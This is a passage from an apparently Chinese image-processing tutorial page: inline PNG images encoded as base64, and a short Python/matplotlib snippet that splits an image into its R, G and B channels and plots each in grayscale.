UzyGqT/tEezcU5jIEsN2RIjPGJpxaEcvRDAe1rLzHXaBJVIhrLp1g6WeHzX7uBH5WRQtPrbGBUDVmOqC60UbPLPP2zP8/gYJ8rL97Amx7Q3dpmYiULK0ucPbvKbKXkfmkVGK0JlCSQ1kUTFGZTVho86Y7YFgFGEIUSnblcwrSAO3IpC6aBJKZQG9pCaERh1mQd3VCYYqgp3NDSWOfU5zpzJ&#43;gQULjlPTGGMm6DV0VCu1QIaaDIY4QnyewWISHLdIHFazwpiDXsJDn3E8MHqea9VPBulvKh1mzkgs1cspd59DLBKDd0tGakYZQJJhqmFtcx54KpsAxyw0DD2CgmVjBKYZJLxrmkbwRHxnBoJEdasmsM&#43;8ayYSyPjOR2pnkvzXmcGTZzwZE29K3bjJ94CAjrUn0yCrk9btALuM1dOiTGKTohwN1QpbHEwnXoBksiXJBDKi25Elhd3BiKQfMTz3OEcDa0xWNpcIMICqqoLcRFVuAjsFqDVLQDj1GScKleYf9oxMDm1PHY7Q2xxDx1bomx9DFG0yyHJGlKbARZbomymOXZiGE6YnF1Btvdo9pocv2Fp7hw8ixjI4jIuXd4CCNFY0ZRa7VpLc4wSEf0jmLGuWVheYGjnT32bm4yTY4YD3vUtaWsMqb9mK2tA0bG48ONfR48PuT8Qg3rVziz0CKZ5sTDAbFUBKWQStmjM0wY9scsrC6w1K4x2/SZrfoMJhNIErIoZNLNSaYJw8Eedx7uEUmLqERMk4TxNGdueZVkBEutKoOpJlB1Kr5hZxRSrobMmQkPB1Na7QaTLOdUs4zyBd3YUA3BKkmufOY8j2i5yWi3y1ALnjq9jFcWHG1Pma94LJxqUanMEPoBNrU0q2V2O30Wmg2s8J2B2U&#43;oTwbGHYaI1jzx8RFJd5dXvvYcw8xje30btGa5VSFaPsHGnXdRWcB8a4Y6KXJ5jfL8Ismwg2d9OptbrL3482RJl82777F89jI27hDVmmT4lNpNKq0FpscdtO9j0ajUIEyKyFL8Rp2DB&#43;8grKK1uEyS&#43;0COkBrrV6jU6jy&#43;d8hyexHbeUylPkvu1RkcHjC3chKrfLxoip&#43;mqHINKXK0GSFsjXBpltbqCTzPR/sXCMtVjBB88Pp3UN0t6pUKsnKSaQqiN8KUZnnqn//X&#43;cGv/5eYxfM8f&#43;oUj25&#43;j72DKc12lWsX5klu7aKFT4RlaCzS97FJjrDOYzRUIYMsZYpCeeArF4mWG43BogpGiWclgRUkSmMQ&#43;NYipUVa&#43;ZHHCU9gE&#43;G2DSEURmf4UrnEGCuxGOf2JyDRFqxH4BtskQCvECB9jMk&#43;TsSxAquL74ESmFQilPkIl860U046cp8LiYgFjDMQOQV7w4UgaGOQRZcshEXIwlTbFtx2UZhLFdh/bnP3nlgBWpCZj25x5Ci00E7oY51VrCgSfhRORh4iSaW7BmUgVZaSFihPgXZsmURKx4fPIbCWWEq01URWEgtLTbj/y0hFbi0UxllGQqQFqXBvjmcFKYB58rq7Uk8o4kLOK63Ax&#43;J5HonO8YQkyQ01XxHnlpIS5NpQlgJlLIFKuNBuMh4NiEoKbxqzMBtBWCZVJV7fOaDkw0o54q2DQ546vcxsPOXkSolWu4pQhkBL9ndGTLDE0wlXZYnvf/iYGenhzZQ5eTwkqKdgSty6f5df/Df/Mv/D3/gGu4M9zp5fI1dN3v3e63xuJWW3nzE3X3VMpixmMLX86N1NNBlfePkGbeWzfbjPjAzoxgOSfsIwKDFjNCvLM&#43;z3JwzHMV/78g1e/cFbNOo1Vk&#43;3eOfWEaVySBYoeqlhZjbk2rUzvP/&#43;Y17&#43;8kscrz9knHs0RcKla8vs7vQ42fR4MJgQBCGfu7TMsZ7l/R/dheGY2Gvy8LDHySjiytIsufXZSxRmGmNrNdKBpWVzTjw7x&#43;/8/l3m5hqcrQk6gebb37rHpeU5rp4q8ebWlJqEPJ2A1gzGGiVgN86IZiqE4U/euD8RHTdC0D84QOcpC6evczD2&#43;OCNm0zGPZZm6kSLJzg8GGInPpUAZpoK6wuC&#43;gxJ7wCdGA7v3mXpyktsvPNHfO/v/joyFkgzQYdVponFxlPq88sMtx7j&#43;xo9nqAnk2KsBl6jxfHDW6ydv8Ds2goiqiKkoDK/RKnZZnQ04Xj/kBPXLjE83MRIzWg4oTrXYv7CFbQ16HiEVB6YxGXIaWivXSGcWUGUlwjry0xzKLVXsXHMw5vfJcxGlBfOU66V0NkU6ZWQ1XlsnCJJeelrL3J5oczNf/BbJLFPKVSUG21mmmXOrNRZaoTMlHwiYSmrnFJJUfEVDV&#43;T6Iw0MHi&#43;M55Svos8k0IQBS4Ky5Ngi64OK6hJ647zKNfNU8jgC1aKJ1zCuLMtfWLu7bpux3wWuARHxzIx2qK1u1EYZcl1iq8ESgjSRDgcHovynIjGKAvKIzOWPLPk1omIvAKqscaABiGV4zRLwdRCYgvpf3GwNEJirCQvPM4tgtCThL5yHb9wJ4gsdz9nC&#43;ZM5CsyVXSw0hJbQWCfxJlJQqHQuIi4TDo&#43;NFCE7Lp1KywJlrF0MAzFdU2LdUe4gWRNCDIjMRJyq51aE/FkrowuAhjcehxOL6XEVx4KhZWCKflHQ0hfSDIEWe7GxVoaqpFHkmuUNEgpqISSslRE0nK9VUUbGOSC2TylVA6olyw/fHzI3kGXOE&#43;5WK3y&#43;PiYqxdP4HV6XL9SZ/XSEqW6BzJi0I&#43;5c7DH3MICzyyu8Xany7zWtE4tMj9JSE0Hz/f5rXe2OfPyi/Q5yeF4yPPPX6FebXBw5wEvn4XDnma&#43;1cRMRkibY6MyRwdjZhdmuXH1Am0v5eB4QGQg8mMCobAhtLyEViPgaL&#43;DSHO&#43;9tVrvHnzHmtnFtk7jrm9OWL9oIueXcYPFFKEeOU6793tIqcwHXcYjnLSbgfVnOXO&#43;8fMVz0e91JsmvPcUxe4eWeTzTv7yCSh0qry3tY2i6UKT11qMNJ93tzaI51CWGuiTcTnrze4/PnT/N6rR4gs5URJcaBCHr5zwNm5Nl&#43;6UePuRJDv9dDWkk8FtVLIyuosaa5QUcSs9D5qaH5cfSI27ngSI&#43;IptXqVKSm9zbucPnuCp569Qd6o0R&#43;NSbMMITLOvPwy4YmzJKrGpH9Mf3uLmbrm4s/9CySjQ8o&#43;nDoxz7lnrpOJAJ0YtDaY3JAMOhgVMI5BhT5&#43;5GTwufI5vP8OJ559hWkOfrnJweZjSq1F/Pos9995m4W1FYQX0d&#43;6zcypU/hBRCnwOdg8pL&#43;962hp/a7zZC5VEeUKIssx0iOdJOS5Zdg/pNJYRE96TMddzp47B/kEb7rNYH8f4fmEtQo6zYgzzeH2HmrpeartEi//xV&#43;ktTBDNRJMjnfxPcWJ02ssL9ZoV0KWG1VmwhCFZiaUhIHb5GtWUZduuCWN57ZVBUY7sYWnBEpofAslJV2iDJLAE0UgQhE8DEQBeL4oNjqBEgbPK5z7iiGmKeTmUrijvDEgpYeSFowkCArGhTb4voctBDF5TiEyMWQ6wwg3UFO4jjItbigO8TEI61SPsbEExYlBCD4KcBC4dJtcSDIkWrmBYWotgbWUlSIKwPcl0jNPAueZGF2QS9ywNhIwBUrFySLFuKAG61wNc4r0Eu2UiAZLrEEJiUSijXMzFAiMNRhrHV4tJLG2aJsT6ye2Vg6CCnHrcc6G7gQQFBa&#43;npTkWrsTkCkMsayLGhNGULKCUgBaOqpfagw1T9DwJEYZmkhqvuF03UNIw2g8YSWwBLNNWmHID3YzTFDmYDrl6vI8PR1z5vJZ4kebfPXzJzlz7Xn29gcsLq3QH07R0vLKi9cYjUe8t34PMe5QPrtAe9DjeHBEszHD93Y0g4nCxjl/6z/9j3n281fpH03oP9rj&#43;TNltg9zavUypLCytsQog/X7u0w89/09Oa&#43;49WCfBpI4HrN31KM/TpibrbN0YoFOf4JJNecvn&#43;YHbzyiFsF4bCDy2N444PlLK4jOHlVjCX3N5mafUjagVjXceeMe9UpAZabMZDzh8tkyW4MEKQMurczy/u1NxsMp8XCEiiR39zo8e/Ecz59t0oslW/2AmhdQi3JmGh7PnK6z55X55htbeHGPp0/P4p&#43;c4dHdQ07O13j5aouD2iKHdzuocok0hagiCUohd9e7rI97lCuKkpc5ZtBPqE/Exu17gkqrjfFLTDt9FtsrzK6dYfdogNaS3uY6s/mQ&#43;YtXeXT7HsePHiJUwOCoy&#43;Lp83SSCsebdxkdbuJrxeKVZ&#43;gPx&#43;jxmMCLIJuSTHqkxiOZjMl1hucHRPU2094h0&#43;1taq1lDnf22Lr5Dsfrjzj53FeRnuY7/&#43;1/zoVnnubB69/C9HeotFY5fviQcmOOhw93GXX38GuzvP3aa4Bgqj1ynRGEbcJGizxxAbdeuUy1dQ5ZilCVOWpLFzGVFu2FRQ4GZZrnnsGIMsYofDMhtCNmFuYYdYdUzn&#43;FJKhjVUpzcZULP/MVgkaJalk5gcNyhXZZcKbt8eypNpkfEFQqWO0M/6UFz7p0GolLIjfkzrBfGbwAyqEDSbMEEJClGqxGCO0GmqFFG0WWukDEwLMYKd3GIsCXLmdS4uF7EulBPYBmJAlCZ3Hq&#43;YY8d4S1MHIQiOe5DV4Kl&#43;LuoHSBtgItDKlwsIKwLvjBCtddgyUxBs8Cwn3FrbAg3QbomC8GYTRVadDGMl&#43;OMLlmqiwjkTFTq1FQyPE9gycMoVH4VuIbQRnIkUTAAM2k&#43;EVKcd1xXgyAQ&#43;vSd6xwnfUT2YzBUKaINzMW3zq5vW8gtobUE2RSoKTECEsqBMoKUmHJhLMY8KzzylbFySYxuXsNgZQukCKUFpPlGGHA8&#43;lmMKt8phNNXSqa5RKJhmUryYWhWa1wbm6G4cip&#43;/YnhoaAHx1N2UnBx/KVc6u8/XCHRHkM7q7zi8/M8eLXv0rn0TZLDZ8fvHWb&#43;7t95hozvPXeHZpzC8xEAYuXLyMeHTCZJuQTyb/3G&#43;/x&#43;//4LpXI8ve&#43;&#43;R5ffPkGye6QGw3BhTMeuxNNqRxiEATlCu&#43;8vQnDhLmFGYJ0yGpbc2/9kEapzNHgGJ0YpqpGSWlkSfDgYY&#43;lesjTrzzNG28&#43;xJ9MqDdqrD/uslgpsVhVVCPJmXaV48GQ7Y0ev/jySRbny/h&#43;lay/R14qcbzfoTm/wJ3tIbk1XDzVYPso5mjjIWmSkZUq3NoZsLy4xLVTdY7zCY&#43;3&#43;uTaEA8TbGq5vOizHVRYv32AnEy4tFSlsjLLd/7RQ64vlbl2bYF&#43;GLDx1gZTZekNBxBIUhuwfpxymCQ8df4Sc9aiqj7a/OSN&#43;xPBKrm0Nmd/7d/5JUqBR70xg6iF9Pd6mGzCqNPl9Okz5FEZP4pI85jbP3qdZ65forR6hgyPeNhHaUO56uNFJUTYQEo43t4h9BXlRsR0lDHodqnWypQbi2RZymTYJe/sUjtxFpulVGolZHUFGdYZHdyF4TGZqhGFAV6jwrgzoVat4VVr7L//PcKgzETHJIdDmgshmwc&#43;a6cWKDeayKjqQgrSKWGjjgjmMMTcffUfcebpaxzv7ZHIMqdO1Nl9/bskpYus3biATgzJqItSKRllKtUaOp1irGa4fR&#43;VjdEyQOYTdh9u4ns&#43;&#43;/c/wOCzezSgN5ywsztl56DH/iRhpA3DzOGdxsJUuM43l0X2pHWiBY0kySzVQDBJJZ4waOt4v0Hghol55qh8TzycfU&#43;iTQ7GcaqNcNCDko6eVg4ESSqxnvnIaVDnAqUcJc7DKfay7EmcmHOws/LjcIgi0AupHG4urMUHMlxiurZPzKWKjVoKMuFUhCmG4Ekwg4RRbgmB2Fouz9XY7/VJhY&#43;UkkkmEDaFAjzzA00eu5ScxBiMEvhP2CnYwsjKwUHaQKIgKDptsGQFo8Nx3QVCGKRxjBNRJNKMpKVkIcPNCETRYwkcpp0ox5sX1lE0jbXoQv3a9AL6aUJJuZtklhu09QgELqfSh4pUVDyffpJwqhxQiRQZipdXGry/vs/pxRq392N36ipXeNgf0ozKXJsvcTBOUJEiOZzwV756ls5MlWsvfoU/&#43;u3/E1mKaAwn1GoldgcjWjMR1VqVrolYSlPGoz7dXodv3B0y26jQmikxjhPGSciCyPjSxQbyzAo6j9jf3GJlsYEdpzze2KdUV1jZwE4mrKxV2NnsUAoV3Yml5AV0kzFn21UyDwb9CXMeTGs17FQTejlGBhx3p6y06wihmVrLcrPEhxt7xKbOn3lxhXt39hinKbqfMG0K5HDC&#43;Ze/yu3Xfsg09Xn62dN0O4f097oc9cY8c2WRjSEcDTQvrYXsjUds78ZIY1GBT5jmXD8b8dqOoW4N6XTKcrtG1Az40a1DrtQ9zl1p83uvb9AUAVOjITMgLVZL4qlhLHPq8zNEgyntVsQ0hv/gjx&#43;xOfzxApxPxMYthBgCd37a1/EnVG3g6Kd9EX8C9WldF3x61/bZuv501Ulr7dyPe&#43;ETwSoB7lhrn/9pX8SfRAkh3vg0ru3Tui749K7ts3V9euoTgXF/Vp/VZ/VZfVb/9PXZxv1ZfVaf1Wf1p6w&#43;KRv3r/20L&#43;BPsD6ta/u0rgs&#43;vWv7bF2fkvpEDCc/q8/qs/qsPqt/&#43;vqkdNyf1Wf1WX1Wn9U/Zf3UN24hxJ8VQtwRQtwXQvz1n/b1/LOWEOJ/FEIcCCFu/RPPzQohviWEuFf8PVM8L4QQf7NY67tCiGd/elf&#43;/15CiDUhxHeEEB8IId4XQvy7xfN/qtcmhIiEED8SQtws1vUfFc&#43;fFkL842Jdf1cIERTPh8Xj&#43;8Xrp36a1///VUIIJYR4Wwjxe8XjT8u61oUQ7wkh3hFCvFE896f6u/j/p36qG7cQQgH/T3v3E2pVFcVx/LPA/hdJf4xHLxDpDXRQL4hSbGBSYRKNHCRBDgQnDQqE6BE0b5JOIhoETaIgKhInJs&#43;aVlhWhv1REJInvUFqs8hYDc6&#43;j8vjJb6reN6&#43;7C9s9tnrrMH6cfddd591zj73LTyNDdgZERv6jGkE3sO2RbZXMZuZU5gtYzqdU6XtwdvXKMZRuIi9mbkeG/Fi&#43;Wxq1/Y3tmbmg5jGtojYiDewr&#43;g6h93FfzfOZeb92Ff8VjIv4cTQeFx0weOZOT306F/tc3F0MrO3hk04NDSewUyfMY2oYy2OD41/wUQ5ntA9pw7vYOdSfiu94TM8OU7acDO&#43;xaO6DRyrin1hXuIQNpXjVcUv&#43;o79f/RM6hLYVhzUbcKsXleJ8TTuWmQbm7m43NZ3qeRe/D40PlNstXNPZp6F0q8p9ir1lsvoh/CVMdBWygnHMI/DOIXzmXmxuAzHvqCrnL&#43;AO69txJfNfryi&#43;9scujjHQRfdO8A&#43;j4ijEbGn2Kqfi6PS987Jpfbhj/NjLtXpjYhb8TFezsy/IpZ8dQIVacvMfzEdEavxKdYv5Vb6KnRFxDOYz8yjEbFlYF7CtSpdQ2zOzLmIWIPDEfHzJXxr07Zs&#43;l5xn8F9Q&#43;NJzPUUy9Xkj4iYgNLPF3tVeiPiOl3Sfj8zPynmsdAGmXkeX&#43;pq&#43;KsjYrCQGY59QVc5fzv&#43;vLaRXhab8WxEnMaHunLJfvXrApk5V/p53Y/tI8ZoLi6XvhP3N5gqd76vx3M40HNMV4MD2FWOd&#43;nqwwP7C&#43;Wu90ZcGFzqrTSiW1q/ixOZ&#43;ebQqaq1RcTdZaUtIm7CE7qbeV9gR3FbrGugdweOZCmcriQycyYzJzNzre57dCQzn1e5LoiIWyLitsExnsJxlc/FK6LvIju241ddnfG1vuMZIf4PcBb/6H7pd&#43;tqhbP4rfR3FN/QPUVzCj/i4b7jv4Sux3SXlz/gWGnba9eGB/Bd0XUcrxf7OnyNk/gINxT7jWV8spxf17eGy9C4BQfHRVfR8H1pPw3yRO1z8Upa2znZaDQaldF3qaTRaDQay6Ql7kaj0aiMlrgbjUajMlribjQajcpoibvRaDQqoyXuRqPRqIyWuBuNRqMyWuJuNBqNyvgPDF7snkuECW4AAAAASUVORK5CYII=" alt="png"  />
</p>
<p>分解 RGB 三个颜色通道的数据，得到 R、G、B 三个分量</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">B</span> <span class="o">=</span> <span class="n">image</span><span class="p">[:,:,</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">G</span> <span class="o">=</span> <span class="n">image</span><span class="p">[:,:,</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">R</span> <span class="o">=</span> <span class="n">image</span><span class="p">[:,:,</span><span class="mi">2</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">plt</span><span class="o">.</span><span class="n">figure</span><span class="p">(</span><span class="n">figsize</span><span class="o">=</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span><span class="mi">8</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">plt</span><span class="o">.</span><span class="n">subplot</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">plt</span><span class="o">.</span><span class="n">imshow</span><span class="p">(</span><span class="n">R</span><span class="p">,</span> <span class="n">cmap</span><span class="o">=</span><span class="s2">&#34;gray&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">plt</span><span class="o">.</span><span class="n">title</span><span class="p">(</span><span class="s1">&#39;R&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">plt</span><span class="o">.</span><span class="n">subplot</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">plt</span><span class="o">.</span><span class="n">imshow</span><span class="p">(</span><span class="n">G</span><span class="p">,</span> <span class="n">cmap</span><span class="o">=</span><span class="s2">&#34;gray&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">plt</span><span class="o">.</span><span class="n">title</span><span class="p">(</span><span class="s1">&#39;G&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">plt</span><span class="o">.</span><span class="n">subplot</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">plt</span><span class="o">.</span><span class="n">imshow</span><span class="p">(</span><span class="n">B</span><span class="p">,</span> <span class="n">cmap</span><span class="o">=</span><span class="s2">&#34;gray&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">plt</span><span class="o">.</span><span class="n">title</span><span class="p">(</span><span class="s1">&#39;B&#39;</span><span class="p">);</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAlYAAACcCAYAAAC9SeXkAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1&#43;/AAAADh0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uMy4xLjEsIGh0dHA6Ly9tYXRwbG90bGliLm9yZy8QZhcZAAAgAElEQVR4nOy9e5Bcd3Uu&#43;u3d7/e7e3qempElS5aNjTCYVwJ2oMDExAYMHOoGAhUC1&#43;RQSSWQBJLLrQQqleKkIPdBEgJFYQgUpE7edV05Idfc44Q4YEKMZVm2RqMZaWZ6Zvr9fnfv&#43;0frW7O6PXYCkRnF6VWlkmbUj71/&#43;7de3/rW&#43;hmWZWEqU5nKVKYylalMZSr/fjEP&#43;wKmMpWpTGUqU5nKVJ4vMg2spjKVqUxlKlOZylSukkwDq6lMZSpTmcpUpjKVqyTTwGoqU5nKVKYylalM5SrJNLCaylSmMpWpTGUqU7lKMg2spjKVqUxlKlOZylSukkwDq6lMZSpTmcpUpjKVqyTTwOo/uBiGsWEYRsswjLphGLuGYXzRMAz/YV/XVKZymGIYxn8xDOPbhmE0DMPIXvn3BwzDMA772qYylR&#43;1TPiJkmEY/49hGAuHfV3PV5kGVs8PeaNlWX4AtwB4IYCPHPL1TGUqhyaGYfwygP8DwH8DMAMgBeB/BfAKAM5DvLSpTOUwhX4iDWAPwP91yNfzvJVpYPU8EsuydgH8D4wCrKlM5T&#43;dGIYRAvBbAD5gWdZ/tyyrZo3kXyzL&#43;l8sy&#43;oc9jVOZSqHKZZltQH8dwA3HPa1PF9lGlg9j8QwjHkAdwK4cNjXMpWpHJK8DIALwF8e9oVMZSrXohiG4QXwdgD/dNjX8nwV&#43;2FfwFSuivyFYRgWAD&#43;ABwH874d8PVOZymFJHEDesqw&#43;f2EYxj9ilJ27ALzOsqyHDuvipjKVQ5S/MAyjj5GfyAJ43SFfz/NWpojV80PusSwrAODVAE5g5FymMpX/jFIAEDcMQ5JGy7JebllW&#43;Mr/TW3eVP6zyj1X9MAF4L8C&#43;J&#43;GYcwc8jU9L2VqZJ5HYlnW/wTwRQC/e8iXMpWpHJY8DKAD4O7DvpCpTOVaFMuyBpZl/RmAAYBXHvb1PB9lWgp8/snvAdgwDOMWy7IePeyLmcpUfpRiWVbZMIzfBPD7V0Yr/A2AJoAXAPAd6sVNZSrXgFzRi58CEAFw7pAv53kp08DqeSaWZeUMw/gSgP8NwFsO&#43;3qmMpUftViW9UnDMLYB/AqALwFoALgI4FcB/ONhXttUpnKI8teGYQwAWAAuAfgZy7LOHvI1PS/FsCzrsK9hKlOZylSmMpWpTOV5IVOO1VSmMpWpTGUqU5nKVZLnJLAyDOP1hmE8ZRjGBcMwfu25&#43;I6pTOU/kkx1YipTGZepTkzl&#43;SpXvRRoGIYNwHkArwWwBeARAO&#43;wLOuJq/pFU5nKfxCZ6sRUpjIuU52YyvNZngvE6iUALliWddGyrC6Ar2Ha&#43;jyV/9wy1YmpTGVcpjoxleetPBddgXMANtXPWwBue7Y3GIZhmaYJjZ4ddAg9f2dZ1oH/Pyn/1tf9W8UwDJimieFwKNdqmiYMwxj7MxwO5fX8t2VZsNls8h4A6Pf78jl872AwgGEY8nu7ffSI9Ht7vR4sy4JlWTBNE6Zpot/vj92r/ozJdeX7uD78mfflcDjk97x&#43;m82GXq8H/ZxsNhuGw&#43;HTPsNms2EwGMhrDkJFuTZcC9M0n3bvfD/XRn8v75f3YLPZZC0Mw0C/35fP5TXa7XYMBoOxZ8fX62dQKpXQaDSu3sb5IXWCz1zv48n9rNflau71ye/gdejv5Lrb7XYMh0N5nqZpwm63i74AkGfL/cvn73A4AOzrRK/Xw2AwkJ8ty5L38jl6PB7Zb8D&#43;3uQ18Lu5Xyf356SO8v64t/XruI8dDscz3gtfD0DWgteu9Yz6xed60Drzeydt3TPpxORaHbS3&#43;fperyf/x2dFXdW6pb&#43;fr89ms6hUKoeqE6ZpWpNrN3mt/N2kPJtuTK6x3t&#43;T//9v8UuhUAhO5&#43;isb9pD6sTk67lHuM&#43;GwyGcTqfsIWDfT/BZ8f&#43;Gw6E8f6/XO3Z9tJH6GvR&#43;5p7Re07v68m11TrD1/MzeS/83H6//zSd4PdqneBnUWcPWt/Jva&#43;/R/9eX7PWCb2OB90b71k/Pz4P/qz/6O/f2tpCsVg8cGM9F4HVQV/0NM9qGMb7ALyPP9OZ65unU9YPYdLZaMPA904&#43;IP5Ob5yDjJUORLQz9nq96HQ6EtDY7Xb4fD7ZPLFYDLVaDc1mE263G91uF4ZhwOFwoN1uw263w&#43;/3w&#43;l0wm63o1gsyvf2&#43;320Wi3Y7XZ5r8vlQrvdht/vh9frRbfbhdfrhd1uR6VSkeus1WpwOp1yT9zU3W4Xbrd77Du4ibxeLwCg2&#43;3KvTocDtjtdnF4TqdTvrNYLCIej6PVasHhcKDVasHj8QAYOUEqsN/vF0ej14wb2&#43;PxoFarPU2BaIAYDDmdTjQaDdjtdtjtdrhcLrk2n8&#43;HwWAgzpjPiYaL69VoNODz&#43;VCtVuW1w&#43;EQXq8XHo8HLpdL/t/lciGdTqNcLqPT6cA0TXz&#43;859/xs39Q8oPrBOGYcDr9Y7pBI0z9zING52k1gnqzaRxnDRMfD46wNSv4fv4e37f/Pw8&#43;v2&#43;6InD4UAikUA4HEa/38fMzAwKhQKq1So8Hg/K5TIGgwFmZ2ext7cHl8uFUCgEh8MBm82GQqEAh8OBfr&#43;Per2OSqWC4XAIv98ve7FarWJlZQXRaBS1Wg2macLj8aBUKkmQz&#43;/jdfp8PpTLZVkru90uhp9rQ52gfvf7fdFBl8sFAPB6vej3&#43;/B6vSiXy4hEIqJ/jUYDwWAQwEgnPR6PfIbT6RT99vv9aLVaso52ux2dTgdut1ucpzbgtHU2mw2VSgV&#43;vx82mw0ulwvD4RDdbhd&#43;v3/McfI&#43;6MT9fj88Hg&#43;63S4cDgfq9fqYfXU6naK7LpcLzWYTXq8X8Xgc1WoVrVYLTqcTv/qrv/rD7fxnlh9YJ0zTRCQSGdMJ3gOfKe9rMplzOByy3yft/2TSonViUqiH/A4dPNx5551jNsbr9SIWiyEUCsEwDLhcLlQqFdTrdfj9fjSbTRSLRdx4443Y3d2FZVkIhUIYDAbodrsoFosIBoNwOByo1WrY2tqC0&#43;mEy&#43;VCrVaD2&#43;1Gs9nETTfdBJ/Ph2KxiOFwCJfLNZZIVqtVeca0961WS67bNE10Op0xWxwIBACM/IS2N1tbW0ilUmJve70ePB4P6vW6&#43;A2Xy4VqtYpoNIp2u41erze2t2w2m/hIvoefzyTJ5XJJEEk/2&#43;l04HK5xOc3Gg2Ew2EAgNvtRrVaFT/BZ8TnRB/Y7/fl&#43;dB21ev1MXvpdrvFb9jtdrTbbXi9Xni9XtTrdXS7Xdjtdtx7773PuLmfi8BqC8CC&#43;nkeQGbyRZZl/RGAPwJGmYgOhDQKQgOpnQidBwOBZwuqGCnr3x2EjOlg6so1ySbm5qLQsHOxB4MB7HY7YrEYer2ebFIGHPF4XAxaPp&#43;X&#43;&#43;n3&#43;&#43;h0OgiFQuh2uxKo8KHb7XbU63UJcLTxdTqd8Pl8sCwLPp9PghEGEDowHA6H6Pf7Y8iC3W6H0&#43;lEp9ORe/P5fPB4PHA6ncjlcgAggR2D10AgIIabGREwUkBu4k6nI9/F19FAM/gDRpu22WzKa7xeL1qtFiKRCNrt9liwyLVyu91wu90YDAbo9XpwOp2o1&#43;tIJpMoFovyvNvtNgaDAdxuN2q1Gnw&#43;nxiBSCSCbreLeDyOYrEo1zY7O4vd3V3J7K&#43;i/MA6YbPZDiQ/TiIjNDyTaN9kljWZcfI16rvl3zq5mXxvOBxGLBaTn/v9Pnw&#43;H5aWllCtVuF0OiVBcLvdsNlscLvdqNfrSKVSEqgHg0E0Gg0YhiE6YZomSqUS6vW6fEer1YLX60U6nZbgZXd3F4FAANlsVhKdK2sGn280A9Tv96NerwMY7WGd4brdbrTbbdFP3guTO7fbLQmEz&#43;eDw&#43;GA2&#43;1GuVyWjLvZbKLT6cAwDCSTSQn0tHOiTluWhV6vB4fDIY6P&#43;5fXzudHp2e32yWgtCwL6XQajUYDNptNEhbDMNBut&#43;F0OgXFa7fb4oiTySTq9foY0kFbxfvr9Xro9/tIJpPodruIRqOoVCryuZFIBKVSaUzXr5L8wDrhcDjGdIL7WyPfXMtJ0UiN1gmiG7TJDNCvfLf8TP/D1/J9pmliZWUFr3rVqxAKhSTACwQCmJ&#43;fR7FYHHufz&#43;eTxLPZbOLUqVPY2dlBMBiU/e/xeFAsFuH3&#43;&#43;FwOLC2toZOp4NUKoVyuYx&#43;v49wOIzFxUW0220Mh0Nks1kEg0EUCoWxIMnhcIhOOBwOCVpoM2ijHQ6H/Oz3&#43;8eQWq3r6XQaHo9HENzBYCD2mfvRZrNhdnYWxWJRAhQAkkjoqguTB6fTKQGcToZN05QA0uPxiI71&#43;33E43Hk83k4HA5UKhV0u104nU7RJe5v/lypVCTx00ACv6fT6YwFfX6/HwAQDAbRbrfl82nfDtpnlOeCY/UIgGOGYSwbhuEE8F8A/NUP8gFaYYD9DOQgOI6GbhLW4&#43;fwwfHfB5V&#43;GK3qrDYUCokCDQYDtFotdLtdzM3NSeRNBMput2Nubg7JZFIMGx98OBxGtVqFZVnI5XJiyBg5x&#43;NxdDodMbR&#43;vx&#43;BQAB&#43;v1/Qrmq1Ogbtc124MZrNpmxwohrRaBQOh0MUIBgMwu/3w&#43;12j32W3tyM3pvNJmKxGDqdDhwOB5rNJgDIBmdQyM9iRqzRMgZizIRpoFqtlgSI3OD1eh39fh/VahU2m02Qgskg4iDEazAYIBQKodlswjAMUdzhcAi32y3GrN1uy7NtNBoAIMiGw&#43;EQB8tndZXlqugE/9bGXycbfJ66tKNLX5OZuUbCnkkngH0Hs7S0JEhorVaTzG1lZUXQWiKobrcbs7OzWFxcRKlUgtfrRaVSwdzcHMLhsGSJmUwGzWYTtVoN5XIZgUAA6XQanU4HtVoNvV4P6XQaLpdLUE&#43;XyyUZsrYNNIoAJPhgUmGz2TAzMyOJg81mQzQahc/nk&#43;CFpcl&#43;vw&#43;HwyH63Wg00G63EY1G0Ww24fP5UCqVMBgM4PP5kM/nJdjiWpqmKXuOyc5kqYbPp1qtCvrH91SrVdRqNRQKBQBAo9GA0&#43;mU7&#43;B1MpvWGfdwOEQgEECn00G/35eATAe7Xq9XnBsdLp2wRosNwxB9ucry79YJAGPrSfRFl38YcGnaBf0EURItupytba32K0RDTNPEy1/&#